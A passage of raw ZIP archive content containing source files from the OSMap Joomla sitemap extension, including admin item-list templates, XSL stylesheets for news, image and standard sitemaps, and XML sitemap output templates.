            parse_str($referer['query'], $query);

            $option = empty($query['option']) ? null : $query['option'];
            $view   = empty($query['view']) ? null : $query['view'];

            if ($option == 'com_osmap' && $view == 'sitemapitems') {
                // Good enough
                return;
            }
        }

        throw new Exception(Text::_('JERROR_PAGE_NOT_FOUND'), 404);
    }
}
PK���\|�x���8com_osmap/views/adminsitemapitems/tmpl/default_items.phpnu&1i�<?php

/**
 * @package   OSMap
 * @contact   www.joomlashack.com, help@joomlashack.com
 * @copyright 2007-2014 XMap - Joomla! Vargas - Guillermo Vargas. All rights reserved.
 * @copyright 2016-2025 Joomlashack.com. All rights reserved.
 * @license   https://www.gnu.org/licenses/gpl.html GNU/GPL
 *
 * This file is part of OSMap.
 *
 * OSMap is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 2 of the License, or
 * (at your option) any later version.
 *
 * OSMap is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with OSMap.  If not, see <https://www.gnu.org/licenses/>.
 */

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Version;

defined('_JEXEC') or die();


$frequncyOptions = HTMLHelper::_('osmap.frequencyList');
array_walk(
    $frequncyOptions,
    function (string &$text, string $value) {
        $text = HTMLHelper::_('select.option', $value, $text);
    }
);

$priorityOptions = array_map(
    function (float $priority) {
        return HTMLHelper::_('select.option', $priority, $priority);
    },
    HTMLHelper::_('osmap.priorityList')
);

$showItemUid       = $this->osmapParams->get('show_item_uid', 0);
$showExternalLinks = (int)$this->osmapParams->get('show_external_links', 0);
$items             = [];

$this->sitemap->traverse(
/**
 * @param object $item
 *
 * @return bool
 */
    function (object $item) use (&$items, &$showItemUid, &$showExternalLinks) {
        if (
            ($item->isInternal == false && $showExternalLinks === 0)
            || $item->hasCompatibleLanguage() == false
        ) :
            return false;
        endif;

        if ($showExternalLinks === 2) :
            // Display only in the HTML sitemap
            $item->addAdminNote('COM_OSMAP_ADMIN_NOTE_IGNORED_EXTERNAL_HTML');
        endif;

        // Add notes about sitemap visibility
        if ($item->visibleForXML == false) :
            $item->addAdminNote('COM_OSMAP_ADMIN_NOTE_VISIBLE_HTML_ONLY');
        endif;

        if ($item->visibleForHTML == false) :
            $item->addAdminNote('COM_OSMAP_ADMIN_NOTE_VISIBLE_XML_ONLY');
        endif;

        if ($item->visibleForRobots == false) :
            $item->addAdminNote('COM_OSMAP_ADMIN_NOTE_INVISIBLE_FOR_ROBOTS');
        endif;

        if ($item->parentIsVisibleForRobots == false) :
            $item->addAdminNote('COM_OSMAP_ADMIN_NOTE_PARENT_INVISIBLE_FOR_ROBOTS');
        endif;

        $items[] = $item;

        return true;
    },
    false,
    true
);

$count = count($items);
?>
    <table class="adminlist table table-striped" id="itemList">
        <thead>
        <tr>
            <th style="width: 1%;min-width:55px" class="text-center center">
                <?php echo Text::_('COM_OSMAP_HEADING_STATUS'); ?>
            </th>

            <th class="title">
                <?php echo Text::_('COM_OSMAP_HEADING_URL'); ?>
            </th>

            <th class="title">
                <?php echo Text::_('COM_OSMAP_HEADING_TITLE'); ?>
            </th>

            <th class="text-center center">
                <?php echo Text::_('COM_OSMAP_HEADING_PRIORITY'); ?>
            </th>

            <th class="text-center center">
                <?php echo Text::_('COM_OSMAP_HEADING_CHANGE_FREQ'); ?>
            </th>
        </tr>
        </thead>

        <tbody>
        <?php
        foreach ($items as $row => $item) : ?>
            <tr class="sitemapitem <?php echo 'row' . $row; ?> <?php echo ($showItemUid) ? 'with-uid' : ''; ?>"
                data-uid="<?php echo $item->uid; ?>"
                data-settings-hash="<?php echo $item->settingsHash; ?>">

                <td class="text-center center">
                    <div class="sitemapitem-published"
                         data-original="<?php echo $item->published ? '1' : '0'; ?>"
                         data-value="<?php echo $item->published ? '1' : '0'; ?>">

                        <?php
                        $class = $item->published ? 'publish' : 'unpublish';
                        $title = $item->published
                            ? 'COM_OSMAP_TOOLTIP_CLICK_TO_UNPUBLISH'
                            : 'COM_OSMAP_TOOLTIP_CLICK_TO_PUBLISH';
                        ?>

                        <span title="<?php echo Text::_($title); ?>"
                              class="hasTooltip icon-<?php echo $class; ?>">
                    </span>
                    </div>
                    <?php
                    if ($notes = $item->getAdminNotesString()) : ?>
                        <span class="icon-warning hasTooltip osmap-info" title="<?php echo $notes; ?>"></span>
                    <?php endif; ?>
                </td>

                <td class="sitemapitem-link">
                    <?php if ($item->level > 0) : ?>
                        <span class="level-mark"><?php echo str_repeat('—', $item->level); ?></span>
                    <?php endif;

                    if ($item->rawLink !== '#' && $item->link !== '#') :
                        if (Version::MAJOR_VERSION < 4) :
                            echo '<span class="icon-new-tab"></span>';
                        endif;

                        echo HTMLHelper::_(
                            'link',
                            $item->rawLink,
                            $item->rawLink,
                            [
                                'target' => '_blank',
                                'class'  => 'hasTooltip',
                                'title'  => $item->link,
                            ]
                        );

                    else :
                        echo sprintf('<span>%s</span>', $item->name ?? '');
                    endif;

                    if ($showItemUid) :
                        echo sprintf(
                            '<br><div class="small osmap-item-uid">%s: %s</div>',
                            Text::_('COM_OSMAP_UID'),
                            $item->uid
                        );
                    endif;
                    ?>
                </td>

                <td class="sitemapitem-name">
                    <?php echo $item->name ?? ''; ?>
                </td>

                <td class="text-center center">
                    <div class="sitemapitem-priority"
                         data-original="<?php echo $item->priority; ?>"
                         data-value="<?php echo sprintf('%03.1f', $item->priority); ?>">

                        <?php echo sprintf('%03.1f', $item->priority); ?>
                    </div>
                </td>

                <td class="text-center center">
                    <div class="sitemapitem-changefreq"
                         data-original="<?php echo $item->changefreq; ?>"
                         data-value="<?php echo $item->changefreq; ?>">

                        <?php echo Text::_('COM_OSMAP_' . strtoupper($item->changefreq)); ?>
                    </div>
                </td>
            </tr>
        <?php endforeach; ?>
        </tbody>
    </table>
    <div><?php echo Text::sprintf('COM_OSMAP_NUMBER_OF_ITEMS_FOUND', $count); ?></div>

<?php if (empty($count)) : ?>
    <div class="alert alert-warning">
        <?php echo Text::_('COM_OSMAP_NO_ITEMS'); ?>
    </div>
<?php endif;
PK���\Q��R��2com_osmap/views/adminsitemapitems/tmpl/default.phpnu&1i�<?php

/**
 * @package   OSMap
 * @contact   www.joomlashack.com, help@joomlashack.com
 * @copyright 2007-2014 XMap - Joomla! Vargas - Guillermo Vargas. All rights reserved.
 * @copyright 2016-2025 Joomlashack.com. All rights reserved.
 * @license   https://www.gnu.org/licenses/gpl.html GNU/GPL
 *
 * This file is part of OSMap.
 *
 * OSMap is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 2 of the License, or
 * (at your option) any later version.
 *
 * OSMap is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with OSMap.  If not, see <https://www.gnu.org/licenses/>.
 */

use Alledia\OSMap\Factory;

defined('_JEXEC') or die();

Factory::getApplication()->input->set('tmpl', 'component');

if (empty($this->message)) :
    echo $this->loadTemplate('items');

else : ?>
    <div class="alert alert-warning">
        <?php echo $this->message; ?>
    </div>
<?php endif;

jexit();
PK���\PO?� 
 
 com_osmap/views/xsl/view.xsl.phpnu&1i�<?php

/**
 * @package   OSMap
 * @contact   www.joomlashack.com, help@joomlashack.com
 * @copyright 2007-2014 XMap - Joomla! Vargas - Guillermo Vargas. All rights reserved.
 * @copyright 2016-2025 Joomlashack.com. All rights reserved.
 * @license   https://www.gnu.org/licenses/gpl.html GNU/GPL
 *
 * This file is part of OSMap.
 *
 * OSMap is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 2 of the License, or
 * (at your option) any later version.
 *
 * OSMap is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with OSMap.  If not, see <https://www.gnu.org/licenses/>.
 */

use Alledia\OSMap\Factory;
use Alledia\OSMap\Helper\General;
use Joomla\CMS\Application\SiteApplication;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\View\HtmlView;

// phpcs:disable PSR1.Files.SideEffects
defined('_JEXEC') or die();
// phpcs:enable PSR1.Files.SideEffects
// phpcs:disable PSR1.Classes.ClassDeclaration.MissingNamespace

class OsmapViewXsl extends HtmlView
{
    /**
     * @var SiteApplication
     */
    protected $app = null;

    /**
     * @var string
     */
    protected $pageHeading = null;

    /**
     * @var string
     */
    protected $pageTitle = null;

    /**
     * @var string
     */
    protected $language = null;

    /**
     * @inheritDoc
     * @throws Exception
     */
    public function __construct($config = [])
    {
        parent::__construct($config);

        $this->app = Factory::getApplication();
    }

    /**
     * @inheritDoc
     */
    public function display($tpl = null)
    {
        $document = $this->app->getDocument();

        $this->language = $document->getLanguage();

        $menu    = $this->app->getMenu()->getActive();
        $isOsmap = $menu && $menu->query['option'] == 'com_osmap';
        $params  = $this->app->getParams();
        $type    = General::getSitemapTypeFromInput();
        $sitemap = Factory::getSitemap($this->app->input->getInt('id'), $type);

        $title = $params->get('page_title', '');
        if ($isOsmap == false) {
            $title = $sitemap->name ?: $title;
        }

        if (empty($title)) {
            $title = $this->app->get('sitename');

        } elseif ($this->app->get('sitename_pagetitles', 0) == 1) {
            $title = Text::sprintf('JPAGETITLE', $this->app->get('sitename'), $title);

        } elseif ($this->app->get('sitename_pagetitles', 0) == 2) {
            $title = Text::sprintf('JPAGETITLE', $title, $this->app->get('sitename'));
        }
        $this->pageTitle = $this->escape($title);
        if ($isOsmap && $params->get('show_page_heading')) {
            $this->pageHeading = $this->escape($params->get('page_heading') ?: $sitemap->name);
        }

        // We're going to cheat Joomla here because some referenced urls MUST remain http/insecure
        header(sprintf('Content-Type: text/xsl; charset="%s"', $this->_charset));
        header('Content-Disposition: inline');

        parent::display($tpl);

        jexit();
    }
}
PK���\;y�{{!com_osmap/views/xsl/tmpl/news.phpnu&1i�<?php

/**
 * @package   OSMap
 * @contact   www.joomlashack.com, help@joomlashack.com
 * @copyright 2007-2014 XMap - Joomla! Vargas - Guillermo Vargas. All rights reserved.
 * @copyright 2016-2025 Joomlashack.com. All rights reserved.
 * @license   https://www.gnu.org/licenses/gpl.html GNU/GPL
 *
 * This file is part of OSMap.
 *
 * OSMap is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 2 of the License, or
 * (at your option) any later version.
 *
 * OSMap is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with OSMap.  If not, see <https://www.gnu.org/licenses/>.
 */

use Joomla\CMS\Language\Language;
use Joomla\CMS\Language\Text;

defined('_JEXEC') or die();

/**
 * @var OSMapViewXsl $this
 * @var string       $template
 * @var string       $layout
 * @var string       $layoutTemplate
 * @var Language     $lang
 * @var string       $filetofind
 */

?>
<xsl:stylesheet
    version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:xna="http://www.sitemaps.org/schemas/sitemap/0.9"
    xmlns:news="http://www.google.com/schemas/sitemap-news/0.9"
    exclude-result-prefixes="xna">

<xsl:output indent="yes" method="html" omit-xml-declaration="yes"/>
<xsl:template match="/">
<html lang="<?php echo $this->language; ?>">
<head>
<title><?php echo $this->pageTitle; ?></title>
<style>
    <![CDATA[
    body {
        font-family: tahoma, sans-serif;
        position: relative;
    }

    table {
        font-size: 11px;
        width: 100%;
    }

    th {
        background: #9f8Fbf;
        color: #fff;
        text-align: left;
        padding: 4px;
    }

    tr:nth-child(even) {
        background: #eeF8ff;
    }

    td {
        padding: 1px;
    }

    .data a {
        text-decoration: none;
    }

    .icon-new-tab {
        font-size: 10px;
        margin-left: 4px;
        color: #b5b5b5;
    }

    .count {
        font-size: 12px;
        margin-bottom: 10px;
    }

    tr.sitemap-url td {
        background: #e6e3ec;
        padding: 1px 2px;
        color: #b3b3b3;
    }

    tr.sitemap-url td a.url {
        color: #b3b3b3;
    }

    .image-url td {
       padding-left: 12px;
       position: relative;
    }
    ]]>
</style>
</head>
<body>
    <div class="header">
        <div class="title">
            <?php if ($this->pageHeading) : ?>
                <h1><?php echo Text::_($this->pageHeading); ?></h1>
            <?php endif; ?>
            <div class="count">
                <?php echo Text::_('COM_OSMAP_NUMBER_OF_URLS'); ?>:
                <xsl:value-of select="count(xna:urlset/xna:url)"/>
            </div>
        </div>
    </div>

    <table class="data">
        <thead>
            <tr>
                <th><?php echo Text::_('COM_OSMAP_HEADING_URL'); ?></th>
                <th><?php echo Text::_('COM_OSMAP_HEADING_TITLE'); ?></th>
                <th><?php echo Text::_('COM_OSMAP_HEADING_PUBLICATION_DATE'); ?></th>
            </tr>
        </thead>
        <tbody>
            <xsl:for-each select="xna:urlset/xna:url">
                <xsl:variable name="sitemapURL">
                    <xsl:value-of select="xna:loc"/>
                </xsl:variable>
                <tr>
                    <td>
                        <a href="{$sitemapURL}" target="_blank" class="url">
                            <xsl:value-of select="$sitemapURL"/>
                        </a>
                        <span class="icon-new-tab"></span>
                    </td>
                    <td>
                        <xsl:value-of select="news:news/news:title" />
                    </td>
                    <td>
                        <xsl:value-of select="news:news/news:publication_date" />
                    </td>
                </tr>
            </xsl:for-each>
        </tbody>
    </table>
</body>
</html>
</xsl:template>
</xsl:stylesheet>
PK���\mI���#com_osmap/views/xsl/tmpl/images.phpnu&1i�<?php

/**
 * @package   OSMap
 * @contact   www.joomlashack.com, help@joomlashack.com
 * @copyright 2007-2014 XMap - Joomla! Vargas - Guillermo Vargas. All rights reserved.
 * @copyright 2016-2025 Joomlashack.com. All rights reserved.
 * @license   https://www.gnu.org/licenses/gpl.html GNU/GPL
 *
 * This file is part of OSMap.
 *
 * OSMap is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 2 of the License, or
 * (at your option) any later version.
 *
 * OSMap is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with OSMap.  If not, see <https://www.gnu.org/licenses/>.
 */

use Joomla\CMS\Language\Language;
use Joomla\CMS\Language\Text;

defined('_JEXEC') or die();

/**
 * @var OSMapViewXsl $this
 * @var string       $template
 * @var string       $layout
 * @var string       $layoutTemplate
 * @var Language     $lang
 * @var string       $filetofind
 */

?>
<xsl:stylesheet
    version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:xna="http://www.sitemaps.org/schemas/sitemap/0.9"
    xmlns:image="http://www.google.com/schemas/sitemap-image/1.1"
    exclude-result-prefixes="xna">

<xsl:output indent="yes" method="html" omit-xml-declaration="yes"/>
<xsl:template match="/">
<html lang="<?php echo $this->language; ?>">
<head>
<title><?php echo $this->pageTitle; ?></title>
<style>
    <![CDATA[
    body {
        font-family: tahoma, sans-serif;
        position: relative;
    }

    table {
        font-size: 11px;
        width: 100%;
    }

    th {
        background: #9f8Fbf;
        color: #fff;
        text-align: left;
        padding: 4px;
    }

    tr:nth-child(even) {
        background: #eeF8ff;
    }

    td {
        padding: 1px;
    }

    .data a {
        text-decoration: none;
    }

    .icon-new-tab {
        font-size: 10px;
        margin-left: 4px;
        color: #b5b5b5;
    }

    .count {
        font-size: 12px;
        margin-bottom: 10px;
    }

    tr.sitemap-url td {
        background: #e6e3ec;
        padding: 1px 2px;
        color: #b3b3b3;
    }

    tr.sitemap-url td a.url {
        color: #b3b3b3;
    }

    .image-url td {
       padding-left: 12px;
       position: relative;
    }
    ]]>
</style>
</head>
<body>
    <div class="header">
        <div class="title">
            <?php if ($this->pageHeading) : ?>
                <h1><?php echo Text::_($this->pageHeading); ?></h1>
            <?php endif; ?>
            <div class="count">
                <?php echo Text::_('COM_OSMAP_NUMBER_OF_URLS'); ?>:
                <xsl:value-of select="count(xna:urlset/xna:url)"/>
                (<xsl:value-of select="count(xna:urlset/xna:url/image:image/image:loc)"/>
                <?php echo Text::_('COM_OSMAP_IMAGES'); ?>)
            </div>
        </div>
    </div>

    <table class="data">
        <thead>
            <tr>
                <th><?php echo Text::_('COM_OSMAP_HEADING_URL'); ?></th>
                <th><?php echo Text::_('COM_OSMAP_HEADING_TITLE'); ?></th>
            </tr>
        </thead>
        <tbody>
            <xsl:for-each select="xna:urlset/xna:url">
                <xsl:variable name="sitemapURL">
                    <xsl:value-of select="xna:loc"/>
                </xsl:variable>
                <tr class="sitemap-url">
                    <td>
                        <a href="{$sitemapURL}" target="_blank" class="url">
                            <xsl:value-of select="$sitemapURL"/>
                        </a>
                        <span class="icon-new-tab"></span>
                        (<xsl:value-of select="count(./image:image/image:loc)"/>
                        <?php echo Text::_('COM_OSMAP_IMAGES'); ?>)
                    </td>
                    <td>
                        <xsl:value-of select="./title"/>
                    </td>
                </tr>

                <xsl:for-each select="image:image">
                    <xsl:variable name="imageURL"><xsl:value-of select="image:loc"/></xsl:variable>
                    <tr class="image-url">
                        <td>
                            <a href="{$imageURL}"
                                target="_blank"
                                class="image-url">
                                <xsl:value-of select="$imageURL"/>
                            </a>
                            <span class="icon-new-tab"></span>
                        </td>
                        <td>
                            <xsl:value-of select="image:title"/>
                        </td>
                    </tr>
                </xsl:for-each>
            </xsl:for-each>
        </tbody>
    </table>
</body>
</html>
</xsl:template>
</xsl:stylesheet>
PK���\�X"[[%com_osmap/views/xsl/tmpl/standard.phpnu&1i�<?php

/**
 * @package   OSMap
 * @contact   www.joomlashack.com, help@joomlashack.com
 * @copyright 2007-2014 XMap - Joomla! Vargas - Guillermo Vargas. All rights reserved.
 * @copyright 2016-2025 Joomlashack.com. All rights reserved.
 * @license   https://www.gnu.org/licenses/gpl.html GNU/GPL
 *
 * This file is part of OSMap.
 *
 * OSMap is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 2 of the License, or
 * (at your option) any later version.
 *
 * OSMap is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with OSMap.  If not, see <https://www.gnu.org/licenses/>.
 */

use Joomla\CMS\Language\Language;
use Joomla\CMS\Language\Text;

defined('_JEXEC') or die();

/**
 * @var OSMapViewXsl $this
 * @var string       $template
 * @var string       $layout
 * @var string       $layoutTemplate
 * @var Language     $lang
 * @var string       $filetofind
 */

?>
<xsl:stylesheet
    version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:xna="http://www.sitemaps.org/schemas/sitemap/0.9"
    xmlns:image="http://www.google.com/schemas/sitemap-image/1.1"
    exclude-result-prefixes="xna">
    <xsl:output indent="yes" method="html" omit-xml-declaration="yes"/>
    <xsl:template match="/">
        <html lang="<?php echo $this->language; ?>">
        <head>
            <title><?php echo $this->pageTitle; ?></title>
            <style>
                <![CDATA[
                body {
                    font-family: tahoma, sans-serif;
                    position: relative;
                }

                table {
                    font-size: 11px;
                    width: 100%;
                }

                th {
                    background: #9f8Fbf;
                    color: #fff;
                    text-align: left;
                    padding: 4px;
                }

                tr:nth-child(even) {
                    background: #eeF8ff;
                }

                td {
                    padding: 1px;
                }

                .data a {
                    text-decoration: none;
                }

                .icon-new-tab {
                    font-size: 10px;
                    margin-left: 4px;
                    color: #b5b5b5;
                }

                .count {
                    font-size: 12px;
                    margin-bottom: 10px;
                }
                ]]>
            </style>
        </head>
        <body>
        <div class="header">
            <div class="title">
                <?php if ($this->pageHeading) : ?>
                    <h1><?php echo Text::_($this->pageHeading); ?></h1>
                <?php endif; ?>
                <div class="count">
                    <?php echo Text::_('COM_OSMAP_NUMBER_OF_URLS'); ?>:
                    <xsl:value-of select="count(xna:urlset/xna:url)"/>
                </div>
            </div>
        </div>

        <table class="data">
            <thead>
            <tr>
                <th><?php echo Text::_('COM_OSMAP_URL'); ?></th>
                <th><?php echo Text::_('COM_OSMAP_MODIFICATION_DATE'); ?></th>
                <th><?php echo Text::_('COM_OSMAP_CHANGE_FREQ'); ?></th>
                <th><?php echo Text::_('COM_OSMAP_PRIORITY_LABEL'); ?></th>
            </tr>
            </thead>
            <tbody>
            <xsl:for-each select="xna:urlset/xna:url">
                <xsl:variable name="sitemapURL">
                    <xsl:value-of select="xna:loc"/>
                </xsl:variable>
                <tr>
                    <td>
                        <a href="{$sitemapURL}"
                           target="_blank">
                            <xsl:value-of select="$sitemapURL"/>
                        </a>
                        <span class="icon-new-tab"></span>
                    </td>
                    <td>
                        <xsl:value-of select="xna:lastmod"/>
                    </td>
                    <td>
                        <xsl:value-of select="xna:changefreq"/>
                    </td>
                    <td>
                        <xsl:value-of select="xna:priority"/>
                    </td>
                </tr>
            </xsl:for-each>
            </tbody>
        </table>
        </body>
        </html>
    </xsl:template>
</xsl:stylesheet>
PK���\'�wZ��$com_osmap/views/xml/tmpl/default.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<metadata>
    <layout title="COM_OSMAP_SITEMAP_XML_VIEW_DEFAULT_TITLE">
        <message>
            <![CDATA[COM_OSMAP_SITEMAP_XML_VIEW_DEFAULT_DESC]]>
        </message>
    </layout>

    <fields name="request">
        <fieldset name="request"
                  addfieldpath="/administrator/components/com_osmap/form/fields">

            <field name="id"
                   type="osmap.sitemaps"
                   required="true"
                   label="COM_OSMAP_SITEMAP"/>

            <field name="format"
                   type="hidden"
                   default="xml"/>
        </fieldset>
    </fields>

    <fields name="params">
        <fieldset name="basic"
                  label="COM_OSMAP_FIELDSET_SITEMAP_SETTINGS_LABEL">

            <field name="add_styling"
                   type="radio"
                   class="btn-group btn-group-yesno"
                   layout="joomla.form.field.radio.switcher"
                   label="COM_OSMAP_OPTION_ADD_STYLING_LABEL"
                   description="COM_OSMAP_OPTION_ADD_STYLING_DESC"
                   default="1">
                <option value="0">JNO</option>
                <option value="1">JYES</option>
            </field>

            <field name="debug"
                   type="radio"
                   class="btn-group btn-group-yesno"
                   layout="joomla.form.field.radio.switcher"
                   label="COM_OSMAP_OPTION_DEBUG_LABEL"
                   description="COM_OSMAP_OPTION_DEBUG_DESC"
                   default="0">
                <option value="0">JNO</option>
                <option value="1">JYES</option>
            </field>

            <field name="news_publication_name"
                   type="text"
                   label="COM_OSMAP_NEWS_PUBLICATION_NAME_LABEL"
                   description="COM_OSMAP_NEWS_PUBLICATION_NAME_DESC"/>
        </fieldset>
    </fields>
</metadata>
PK���\N|G��*com_osmap/views/xml/tmpl/default_items.phpnu&1i�<?php
/**
 * @package   OSMap
 * @copyright 2007-2014 XMap - Joomla! Vargas. All rights reserved.
 * @copyright 2016 Open Source Training, LLC. All rights reserved..
 * @author    Guillermo Vargas <guille@vargas.co.cr>
 * @author    Alledia <support@alledia.com>
 * @license   GNU General Public License version 2 or later; see LICENSE.txt
 *
 * This file is part of OSMap.
 *
 * OSMap is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 2 of the License, or
 * any later version.
 *
 * OSMap is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with OSMap. If not, see <http://www.gnu.org/licenses/>.
 */

// no direct access
defined('_JEXEC') or die('Restricted access');

// Create shortcut to parameters.
$params = $this->state->get('params');

// Use the class defined in default_class.php to print the sitemap
$this->displayer->printSitemap();
PK���\���$com_osmap/views/xml/tmpl/default.phpnu&1i�<?php

/**
 * @package   OSMap
 * @contact   www.joomlashack.com, help@joomlashack.com
 * @copyright 2007-2014 XMap - Joomla! Vargas - Guillermo Vargas. All rights reserved.
 * @copyright 2016-2025 Joomlashack.com. All rights reserved.
 * @license   https://www.gnu.org/licenses/gpl.html GNU/GPL
 *
 * This file is part of OSMap.
 *
 * OSMap is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 2 of the License, or
 * (at your option) any later version.
 *
 * OSMap is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with OSMap.  If not, see <https://www.gnu.org/licenses/>.
 */

use Joomla\CMS\Language\Language;

defined('_JEXEC') or die();

/**
 * @var OsmapViewXml $this
 * @var object       $template
 * @var string       $layout
 * @var string       $layoutTemplate
 * @var Language     $lang
 * @var string       $filetofind
 */

echo sprintf('<?xml version="1.0" encoding="%s"?>' . "\n", $this->_charset);

if (empty($this->message)) {
    echo $this->loadTemplate($this->type);

} else {
    echo '<message>' . $this->message . '</message>';
}
PK���\`���+com_osmap/views/xml/tmpl/default_images.phpnu&1i�<?php

/**
 * @package   OSMap
 * @contact   www.joomlashack.com, help@joomlashack.com
 * @copyright 2007-2014 XMap - Joomla! Vargas - Guillermo Vargas. All rights reserved.
 * @copyright 2016-2025 Joomlashack.com. All rights reserved.
 * @license   https://www.gnu.org/licenses/gpl.html GNU/GPL
 *
 * This file is part of OSMap.
 *
 * OSMap is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 2 of the License, or
 * (at your option) any later version.
 *
 * OSMap is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with OSMap.  If not, see <https://www.gnu.org/licenses/>.
 */

use Alledia\OSMap\Sitemap\Item;
use Joomla\CMS\Language\Language;
use Joomla\Utilities\ArrayHelper;

defined('_JEXEC') or die();

/**
 * @var OSMapViewXml $this
 * @var string       $template
 * @var string       $layout
 * @var string       $layoutTemplate
 * @var Language     $lang
 * @var string       $filetofind
 */

$ignoreDuplicates = (int)$this->osmapParams->get('ignore_duplicated_uids', 1);

$printNodeCallback = function (Item $node) use ($ignoreDuplicates) {
    $display = !$node->ignore
        && $node->published
        && (!$node->duplicate || !$ignoreDuplicates)
        && $node->visibleForRobots
        && $node->parentIsVisibleForRobots
        && $node->visibleForXML
        && $node->isInternal
        && trim($node->fullLink) != ''
        && $node->hasCompatibleLanguage();

    if ($display && !empty($node->images)) {
        echo '<url>';
        echo sprintf('<loc><![CDATA[%s]]></loc>', $node->fullLink);

        foreach ($node->images as $image) {
            if (!empty($image->src)) {
                echo '<image:image>';
                echo '<image:loc><![CDATA[' . $image->src . ']]></image:loc>';
                echo empty($image->title)
                    ? '<image:title/>'
                    : '<image:title><![CDATA[' . $image->title . ']]></image:title>';

                if (!empty($image->license)) {
                    echo '<image:license><![CDATA[' . $image->license . ']]></image:license>';
                }

                echo '</image:image>';
            }
        }

        echo '</url>';
    }

    /*
     * Return true if there were no images
     * so any child nodes will get checked
     */
    return $display || empty($node->images);
};

echo $this->addStylesheet();

$attributes = [
    'xmlns'       => 'http://www.sitemaps.org/schemas/sitemap/0.9',
    'xmlns:image' => 'http://www.google.com/schemas/sitemap-image/1.1'
];
echo sprintf('<urlset %s>', ArrayHelper::toString($attributes));

$this->sitemap->traverse($printNodeCallback);

echo '</urlset>';
PK���\^=�A�
�
-com_osmap/views/xml/tmpl/default_standard.phpnu&1i�<?php

/**
 * @package   OSMap
 * @contact   www.joomlashack.com, help@joomlashack.com
 * @copyright 2007-2014 XMap - Joomla! Vargas - Guillermo Vargas. All rights reserved.
 * @copyright 2016-2025 Joomlashack.com. All rights reserved.
 * @license   https://www.gnu.org/licenses/gpl.html GNU/GPL
 *
 * This file is part of OSMap.
 *
 * OSMap is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 2 of the License, or
 * (at your option) any later version.
 *
 * OSMap is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with OSMap.  If not, see <https://www.gnu.org/licenses/>.
 */

use Alledia\OSMap\Helper\General;
use Alledia\OSMap\Sitemap\Item;
use Joomla\CMS\Language\Language;

defined('_JEXEC') or die();

/**
 * @var OSMapViewXml $this
 * @var string       $template
 * @var string       $layout
 * @var string       $layoutTemplate
 * @var Language     $lang
 * @var string       $filetofind
 */

$showExternalLinks = (int)$this->osmapParams->get('show_external_links', 0);
$ignoreDuplicates  = (int)$this->osmapParams->get('ignore_duplicated_uids', 1);
$debug             = $this->params->get('debug', 0) ? "\n" : '';

$printNodeCallback = function (Item $node) use ($showExternalLinks, $ignoreDuplicates, $debug) {
    $display = !$node->ignore
        && $node->published
        && (!$node->duplicate || !$ignoreDuplicates)
        && $node->visibleForRobots
        && $node->parentIsVisibleForRobots
        && $node->visibleForXML
        && trim($node->fullLink) != '';

    if ($display && !$node->isInternal) {
        // Show external links
        $display = $showExternalLinks === 1;
    }

